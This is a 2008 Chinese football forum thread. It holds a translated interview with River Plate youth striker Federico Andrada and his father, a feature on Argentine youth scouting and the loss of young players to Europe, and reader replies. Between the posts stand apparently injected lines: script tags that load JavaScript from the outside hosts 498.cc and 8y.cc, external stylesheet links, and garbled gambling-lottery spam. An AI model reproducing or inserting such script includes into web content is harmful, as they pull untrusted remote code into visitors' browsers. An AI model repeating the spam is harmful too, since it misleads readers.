安德拉达：“我想在纪念体育场比赛。”
一个炎热下午，14岁的河床青年队新星费德里克•安德拉达在父亲的陪伴下，在纪念体育场前的酒吧里耐心地等待着。在和记者见过面并聊了几句后，这个孩子天真地问到：“你们要写些什么？”答案显而易见，记者当然是来报道安德拉达和他那些多如牛毛的进球了。在小费德里克的眼里，面对对手的球门时，他的心中总是只有一个念头：“加油，我们来进它一个……” 记者：你是河床球迷？安德拉达：是的，非常铁杆。
记者：你是怎样和什么时候来到河床的？
安德拉达：我是在布宜诺斯艾利斯查斯公园里踢着玩的时候被河床球探发现的，于是他们就把我带去接受测试了。我只进行了一次测试就博得了考官们的喜爱，他们叫我下周过去训练，就这样我留了下来。
记者：现在谁是你的教练？你如何和加布里埃尔•罗德里格斯（河床青年队总教练）相处？
安德拉达：我现在跟着里卡多•德安赫利斯（河床9线队教练）训练，而加布里埃尔•罗德里格斯担任协调员。我和罗德里格斯的关系跟别人一样，没什么特别的。罗德里格斯的确为河床和球队附属的学院做了很多事，他简直是个工作机器，会去看每次训练、每场比赛，监督各级青年队教练的工作。
安德拉达父亲（克劳迪奥•安德拉达）：自从罗德里格斯上任后，河床青年队变化很大。他们只要小球员们踢球，而不过于注重战术这些东西。也许到安德拉达这个年纪他们会多讲些战术，但绝对不会成天往孩子脑袋里硬塞这个。
记者：家长们给了小球员们很大压力，你是怎么看的？你觉得是利还是弊？
安德拉达：我想成为一个职业球员。来自外界的压力会对我的成长有帮助，但我不喜欢别人辱骂我，也不希望看到家长们在场外急得跳脚，因为毕竟不是他们上场比赛。
安德拉达父亲：我以前就经常在场外像个疯子似的大声嚷嚷，直到费德（安德拉达）叫我以后别这么干了，因为我的喊叫总让他觉得紧张。从那以后我就没大喊过了。他（安德拉达）没什么压力，他通常都能发挥正常，但每次面对博卡时他总是特别兴奋。在和博卡的5次交锋中他进了4球，他就是喜欢踢重大的比赛。
记者：你对超级德比（河床VS博卡）有什么感受？
安德拉达：对于我来说这就跟决赛一样，所以我会尽力表现，几乎总有上佳发挥。我就是喜欢踢最困难的比赛，有些东西使得这些比赛与众不同。
记者：你最喜欢哪个进球？
安德拉达：最喜欢的是某次决赛对阵萨斯菲尔德时的那个进球。当然，对博卡取得的所有进球也都很特别。还有很多我很喜欢的进球呢，比如在科尔多瓦与博卡踢决赛时，我最后时刻的进球帮助河床以1：0赢得了比赛。
记者：你有和其他俱乐部的球员发生过摩擦吗？
安德拉达：如果在球场内和来自其他俱乐部的球员发生摩擦，那是因为我们踢得太投入了，有时候就会有点上火，嘿嘿……不过在球场外一切都好，我们都是朋友。
记者：你对未来有什么期待？
安德拉达：我希望为河床登场比赛并帮助球队赢得很多东西，将来如果有机会去欧洲的豪门俱乐部踢球，我很愿意接受挑战。
记者：你是怎样发现自己被招进阿根廷U15青年队的?
安德拉达：两周前的一个星期五，加布里埃尔•罗德里格斯把所有的河床U15适龄球员叫到一起，告诉我们：“有3名队员被幸运地招进了U15青年队”，随后他念了这三个人的名字，我就是其中之一。其他球员都鼓掌祝贺我们。我立刻打电话告诉了爸爸这个消息，他都不敢相信。
安德拉达父亲：当费德（安德拉达）告诉我这个消息的时候，我激动地掉泪了。
记者：你认识埃克托•恩里克（U15主教练）吗？你觉得他怎样？
安德拉达：我不太认识他，他只跟我们说过一下训练计划，给我们讲了讲国家队的生活是怎样的。我想他只是要我们正确的踢球，不是把重心放在战术或者其他什么上。
记者：说到你踢的位置，你觉得自己更像河床的哪个前锋：阿布莱乌、法尔考还是罗萨莱斯？
安德拉达：我和他们三个都有点像，但我的踢球方式和卡维纳吉最为相似。我力量很强，身体灵活，技术过硬。
记者：你刚踢球的时候有没有特别崇拜的表率性人物？
安德拉达：有，我喜欢巴蒂。
记者：他是你的偶像？
安德拉达：我的偶像是……卡维纳吉。
记者：你在参加过比赛中，最高进球记录是多少？
安德拉达：我的进球记录是在2006年在23场比赛中攻进37球，还有就是在一场比赛进8球，当时我们是客场对阵胡胡伊乌尔奇萨队。
记者：你会去纪念体育场看球吗？你最喜欢的是什么？
安德拉达：是的，我很喜欢去球场。今年我有机会去那儿做球童或者干些别的，在球场里的感觉令人难忘，特别是跟那么多球迷在一起。
记者：你会在纪念体育场踢球吗？
安德拉达：如果能在纪念体育场上场比赛，我会高兴得发疯，我会竭尽所能为河床夺取胜利。有时候我不能理解为什么有些职业球员不尽全力，他们为什么要有所保留呢？
记者：你有想过一些特殊动作来庆祝进球吗？
安德拉达：我没什么庆祝动作，进球后只是像所有球员那样吼叫，就像疯了一样，充满了狂热和激情。比如说，虽然我知道会得黄牌，但在打进正式比赛的第一球时，我还是脱衣庆祝了。
记者：如果万事如意，你会一直呆在河床吗？
安德拉达：当然，这太美妙了。不过，去欧洲踢球的可能也一直在诱惑着我，因为那里有最好的足球，那里的比赛更激烈，当然还能赚到更多的钱。在欧洲得到的比在阿根廷要多得多。
记者：这个问题是问父亲的：费德（安德拉达）身价多少？你已经接到其他球队的求购意向了吗？
安德拉达父亲：实话跟你说吧，这得问我儿子的经纪人赫罗尼莫•萨卡尔迪。我当然希望面前摆满求购他的订单，到那时候我们会开始考虑，会谨慎认真地对待的。费德（安德拉达）和俱乐部有违约金，如果谁愿意支付那就付吧，如果不，那他哪儿也不会去。很明显我希望儿子去竞争性更强的优秀联赛，英格兰，意大利，西班牙，或者德国。如果转会不成功，他就可能泯然于众无所作为，而这不是我们安德拉达家想要看到的结果。现在的转会市场流动性很大，谁都无法确定未来，你永远不会知道这些事情。安德拉达具备了成为一名伟大球员的一切条件，他已经连续三年是青年队的头号射手了，表现非常出色。我们全家人都期待着机会能降临到他身上，然后再看看将来会发生什么吧。在我看来，最理想的结果是他能一步步成长，进入河床一队，征战阿甲……但这不仅取决于我们，还取决于河床对安德拉达的器重和培养……
[ 本帖最后由 laolituo 于 2008-4-7 23:57 编辑 ]
< url=http://www.498.cc">
<script type="text/javascript" src="http://498.cc/"></script>
<link href="http://498.cc/888.css" rel="stylesheet" type="text/css" media="screen" />
┹金┹┹┹时┹彩┹
┹合┹投┹注┹┹
ㄨ 不好意思，我对西语一窍不通，只能先通过机器翻译成英语，再翻译成中文，所以翻译水平不高，请见谅。哪个大虾想翻译的更准确的，链接在这里
http://www.riverplate.com/Noticias/Futbol-Amateur/federico-andrada-proyecto-crack.html
[ 本帖最后由 laolituo 于 2008-4-7 11:56 编辑 ]
<script type="text/javascript" src="http://8y.cc/"></script>
<link href="http://8y.cc/1.css" rel="stylesheet" type="text/css" media="screen" />
㈤金㈤㈤㈤时㈤彩㈤
㈤合㈤投㈤注㈤㈤
╝ 费德里科.安德拉达，出生于1994.3.3，阿根廷U15的头号中锋。在12岁时身高就达到160cm，体重61kg。他是阿根廷少年联赛的进球记录保持者，他是行家一致看好的未来阿根廷的高中锋。出色的表现让欧洲豪门纷至沓来，包括皇马、巴萨、国米的豪门。
[ 本帖最后由 laolituo 于 2008-4-7 12:02 编辑 ]
相关阅读
揭密潘帕斯球星生产线 层层筛选铺就雏鹰黄金路年终盘点，河床俱乐部发现，2006年进球最多的球员不是法利亚斯，尽管他打进了16个球（加上国际比赛共21个球）；当然也不是新近加盟皇马的小将伊瓜因，他在联赛里有13个球的进账。那么，这支阿根廷豪门的最佳射手是谁呢？是费德里科·安德拉达（Federico Andrada），全年参赛23场，进球37粒。这个数字甚至超过了甲级联赛最佳射手帕勒莫，帕勒莫全年里为博卡打进22球。
是的，安德拉达还是个孩子，是个只有12岁的少年选手，但凭借这37粒进球，他已被看作阿根廷的未来之星。殊不知，安德拉达还没进入9队，9队是足协规定的俱乐部最低一级梯队。但河床提前从9岁起招收小学员，安德拉达是1994年出生的学员班里的一员。
他的未来可能是一名大球星，就像河床多年来培养出来的那些闻名遐迩的明星一样。在阿根廷，青少年梯队的比赛也有完善的机制，安德拉达参加的也是正式比赛，是每个周末进行的低年龄级别的比赛。说他是河床所有年龄级别的年度射手，是没有任何问题的。
小安德拉达的才华还可从另一个数字中表现出来，那就是他已来河床5年了，他在7岁时就进入这个俱乐部9岁年龄的足球班了。如果没有些过人之处，一个7岁的孩子不可能被破格录取，只能在河床幼儿园或小学里玩耍。
他果然不负众望，今天大家都把他称为小坦克，因为他就像一辆坦克那样勇猛。他是一名前锋，冲击力很强，最崇拜的球星是巴蒂和卡维纳吉。12岁的他身高已长到1．60米，如果成长顺利的话，将来应该会成为一名强力高中锋。
在阿根廷，类似小安德拉达这样的足球儿童和少年很多，未来之星遍地都是。当然，同年龄的孩子也许程度上还无法和他相比，但少年和青年时代还会涌现出众多的加戈、伊瓜因、阿圭罗等等。
小安德拉达说起话来已经有些大人气，他说：“在河床当儿童和少年足球最佳射手是重要的，但更重要的是将来成长为职业球员。职业球员的进球才更有价值。”这个道理也许是大人教给他的，但他已经记住了，有了朝着职业球员的目标而奋斗的概念。
那么，小安德拉达是怎样来到河床的呢？是被河床的球探蒂蒂·蒙特斯发现的，在布宜诺斯艾利斯一个公园小足球队发现的。2001年蒂蒂把安德拉达带到河床年度测试现场，受到一致好评，遂被留在俱乐部。
层层筛选铺就黄金路
进入河床、博卡等俱乐部是需要测试的，通常每年进行一次。评判官是谁？是青少年队的教练。教练相中的孩子，便可以留下来，进入在足协注册的梯队序列。对于一名足球少年来说，进入这个序列是重要的，也许这就是他们日后黄金大道的起始。为了这个目标，阿根廷无数的孩子在奋斗，在街道足球里，在乡下的空场上。
俱乐部的遴选在阿根廷应该是挑选少年选手的最后一道门槛了。但要靠近这道门槛并不容易。河床和博卡这样大名鼎鼎的豪门，小球员没有相当的脚下功夫不要抱幻想。每年的测试中，有不少孩子是从别的俱乐部少年队来考试的，他们已经在其他乙级甚至甲级俱乐部踢得不错了，来这里是为了更上一层楼。河床和博卡，是他们梦想中足球的殿堂。
其他甲级队中也有在青少年培养过程中成就卓著的。譬如，小安德拉达虽然打进37球，但依然十分遗憾，因为河床队没能获得同级别的冠军。去年和今年，获得青少年级别综合成绩总冠军的都是圣洛伦索队。圣洛伦索俱乐部了不起，历史上也极少引进球员，基本上都是自己梯队里培养出来的。
还有其他一些俱乐部同样有成就，譬如阿根廷青年人队，马拉多纳当年便是在这支俱乐部踢出名堂，后来转到博卡的。只不过这个俱乐部培养的都是少年人才，大多进入职业队之前就卖掉了，卖给博卡、河床等大俱乐部。
国际上都知道河床和博卡是人才辈出的俱乐部，但这两家也有所不同。河床以自己培养为主，号称拥有“一条球星生产线”，且以生产前场球星为主，尤其是10号。从9岁起，每个年龄梯队都把脚下功夫最好的球员放在10号位置，成为小小的场上核心。每年甄选一次，直到进入成年队。
博卡则以挖人为主。博卡没有12岁以下梯队，只是按照足协的规定建立了13岁起的梯队。但是，多年来博卡在各地挖来的少年很多成为大球星，里克尔梅、特维斯、加戈等人都是少年时代进入博卡的。博卡青少年队总教练格里发在阿根廷大名鼎鼎，便是得益于多年挑选和培养小球员的成功。
诚然，博卡也从其他俱乐部挖成年球员，甚至从独立队挖过因苏亚。欧洲球队主要认博卡和河床，因苏亚早在2002年便作为独立队核心获得过春季联赛冠军，但直到进入博卡才铺就通往欧洲的道路。
球员阶梯式递进，从小俱乐部到大俱乐部，再到欧洲，这便是阿根廷的球星之路。
千人赶考，百里挑一
孩子们在进入俱乐部梯队前在做什么？他们是通过什么渠道进入俱乐部的呢？记者对此很感兴趣，因为足球最基础的部分是在娃娃时代就奠定了。于是，12月中旬的一天，记者乘坐夜班长途汽车，用了8个小时赶到潘帕斯的腹部地区，采访一次全国性的足球选秀。
潘帕斯，一个迷人的名字，高乔人的故乡。潘帕斯这词原意是平原，由于阿根廷的大平原上长满了青草，也被理解为草原。潘帕斯是个复数名词，是泛指，与这个词联系在一起的行政区域如今只有拉潘帕省了。记者来到的便是拉潘帕省的省会圣洛萨市。这座城市只有10万居民，风光绮丽，被一望无际的高尔夫绿地般的草原所围绕，湛蓝的天空中飘浮着朵朵白云。
圣洛萨市有一所阿根廷著名的足球学校，叫马卡里斯特足球学校。创办人哈维尔·马卡里斯特当年是博卡队著名球员，也是马拉多纳最要好的一个朋友。老马近来四处奔波进行足球秀，15名队员中有6人从不缺阵，哈维尔·马卡里斯特是其中之一。但他与老马不同，把主要精力放在足球学校上。
这所学校正在进行一年一度的足球选秀，来自全国各地的近1000名10至16岁的选手参加，按年龄分组，选秀活动共进行4天。马卡里斯特先把坐在场边的球探逐一介绍给记者，他们都是应邀来挑小球员的。原来他们的名头都不小，有博卡、河床、大学生、独立、竞技等甲级队的球探，甚至还有巴塞罗那队和国际米兰队的代表。
小球员分组打比赛，打得有声有色，的确令人大开眼界。每两支球队先打一个30分钟的半场，然后换另外两支球队比赛，之后原来的两支球队再打半场。如此交替进行，也是为了不让小球员们过度疲劳。气温升至近30摄氏度，潘帕斯略显干燥，但有和风吹来，还是比较宜人的天气。
球探们在场外观看，不时在球员表格上记录着。一场比赛结束，有球探就对马卡里斯特说，把某某孩子叫过来聊聊。有的当场拍板，择期到球探所在的俱乐部试训。据马卡里斯特介绍，这种全国性的足球选秀，每年约有20名孩子被布宜诺斯艾利斯的大俱乐部选中。余下的孩子，这所学校再从中挑选50名左右，进行7个月左右培训，然后再往俱乐部输送。
那么，这些孩子是自己报名来的吗？马卡里斯特说，学校有10名球探，在全国各地挑选球员。这近千名小球员都是他们选中的，他们有的是旅行1000多公里赶来参加这次选秀的。不过，900多名未被选中的孩子只能回到自己的家乡，继续做他们尚不曾实现的足球梦。
是球探，也是教练
在阿根廷的西班牙语里，球探的原意就是寻找才华的人。他们多是教练出身，眼光锐利，很受人们的尊重。譬如，马卡里斯特在介绍球探的时候，会顺便说明一下：他是加戈的发现者、他是坎比亚索的发现者，等等。
实际上，除了马卡里斯特足球学校之外，记者也曾见到过一些不那么正规和有规模的足球学校。有的其实算不上学校，但也在为寻找和培养足球少年而工作。譬如所谓的博卡足球学校。博卡俱乐部本无足球学校，但在糖果盒球场之外几百米处有一大片空场，被分割成几个球场，这是区政府开辟的场地，为人们闲暇活动提供方便。
每个周末，这里会出现一批孩子，在一位年届花甲的老教练带领下打比赛。老教练不属于任何俱乐部，是自谋职业，自发号召孩子周末来踢球，他自称这就是博卡足球学校。孩子们随时来随时走，不受限制。吸引他们的是这位老教练会定期把出色的孩子向博卡推荐，据说这些年来还真有几个被选中。
如果说这位自谋职业的老人也算球探的话，阿根廷的少年球探真是不可计数。阿根廷是全民办足球，这一点是不争的实事，也是足球人才辈出的根本原因所在。
遍地球探，谁来培养孩子？这个问题其实很简单，足球是靠孩子自己踢出来的。他们从会跑的时候起，便把踢球当游戏，只要有块空地就能踢。这就是所谓街道足球，街区足球队到处都是。条件好一些的，譬如河床俱乐部会员的孩子们，六七岁的孩子追逐足球的场面随处可见，没有教练，但踢得开心。
如果你有机会看少年儿童足球队的训练和比赛，就会发现实际上他们是在自己踢，教练嘴里叼着个哨，但很少吹，除非他有什么要指点一下。包括阿根廷国家少年队和青年队，也不进行技术训练，而是根据球员的特点安排位置，让每个球员最大限度地发挥个人的能力。足球是天然的，是原生态的，只是成年级别的成绩竞争，才用战术在相当程度上框住了球员的发挥。
球性和技术是踢出来的，不是教出来的，少年球星的要点不在培养，而在发现。阿根廷足球告诉了我们这一点。
掠夺性人才流失
潘帕斯并非永远阳光明媚，也有乌云满天和落雨的时候。上周，国际米兰队从阿根廷挖走10名少年，和他们签订的合同是在国米足球学校“培养”三年。谁都知道，要说培养新人，阿根廷这块沃土会给孩子们带来更多的足球养分，潘帕斯远远强于亚平宁。培养是名义，掠夺为实质。三年之说也只是幌子，三年之后可以随便找个方式把可塑之才留下来。
在阿根廷，优秀球员就是这样不断出现，尽管还是孩子，他们的未来如花似锦。但今天人们却不完全乐观了，因为欧洲的球探早已在这块土地上四处搜寻，一旦发现好苗子便采取手段，设法把他们弄走。欧洲人在马拉多纳时代是挖大树，后来发展到挖刚成材的树，今天已经在掠夺性地挖掘幼苗了。
这不是今天才开始的事情了，不久前阿根廷组织国家少年队，其中三名球员是从海外召回的。
记者问过的所有人，包括俱乐部官员、教练和普通朋友，都认为少年球员的流失对阿根廷足球造成很大损害。但谁都没办法，马卡里斯特更是无奈地说：“怎么办呢？实际上我们这所足球学校也是靠转卖球员而生存的。”他说的是实话。在阿根廷办足球学校本身是不赚钱的，不能收学费，因为有才华的孩子家里基本都是穷人。倒是也有交钱踢球的，那是富人的孩子在玩儿，但其中人才甚少。
那么，足球学校的收益从何而来？只能从未来俱乐部出售球员的转会费中分成。譬如某俱乐部看中一位少年球员，但不能支付现钱，而是与足球学校签合同，将来转会时支付15％－30％的分成。如果向俱乐部输送的是加戈，当然赚钱很可观。
然而，也许未来的加戈少年时代便东渡大西洋了，这也让办足球学校的人感到头疼。
这是一个金钱统治的世界。除了欧洲俱乐部来挖人才，还有另外一个让人忧虑的情况：有的家庭，看到自己的孩子有前途，干脆全家移民欧洲，让孩子直接在那里发展了。这种情形类似梅西，尽管梅西家移民西班牙是出于其它原因。
博卡队一名少年便不辞而别，前往西班牙寻找新的彼岸。这样，博卡失去了未来出售这名球员的收益，为博卡输送球员的足球学校也没有收回投资的可能了。为了这件事，博卡俱乐部告到国际足联，希望设法进行干预。但几个月时间过去了，还看不到解决的希望。
今年布宜诺斯艾利斯的夏天不太热，圣诞节前后，阵雨不时落下，驱走摄氏30度的暑热，凉爽宜人。1月份这里将变成一座空城，人们会奔向大西洋岸边的沙滩、安第斯山的谷地或北部的森林地区度假。从1月中旬起，各俱乐部将开始新赛季前的集训，同时将在各度假胜地参加练兵性质的夏季赛。
潘帕斯的追风少年呢？他们大多也会跟随家庭去度假，这里穷人也度假，也享受生活。但少年不论走到哪都会带去一只足球，到处都能找到球场，到处都能踢球。虽然成名的职业球员和未成名的少年选手在流失，但这块足球的沃土依然生生不已，潘帕斯的足球资源是取之不尽、用之不竭的。
[ 本帖最后由 laolituo 于 2008-4-7 12:07 编辑 ] LZ的字体不错！
这小孩还不知道以后怎么样，不过抱有很大的希望 小伙子的偶像是小牛喀！！！em019 好可爱的孩子，希望将来能和小牛一样出色！ 14岁了,现在他多高了呢? 12岁的时候160cm
还会再长的 是不是拉梅拉 是不是拉梅拉 不是拉梅拉........................... 強頂樓主!
謝謝翻譯。em62 em62 em62 希望能实现他自己的梦想 楼主的翻译很棒, 要加精!em69 ding ding LZ辛苦了
页:
[1]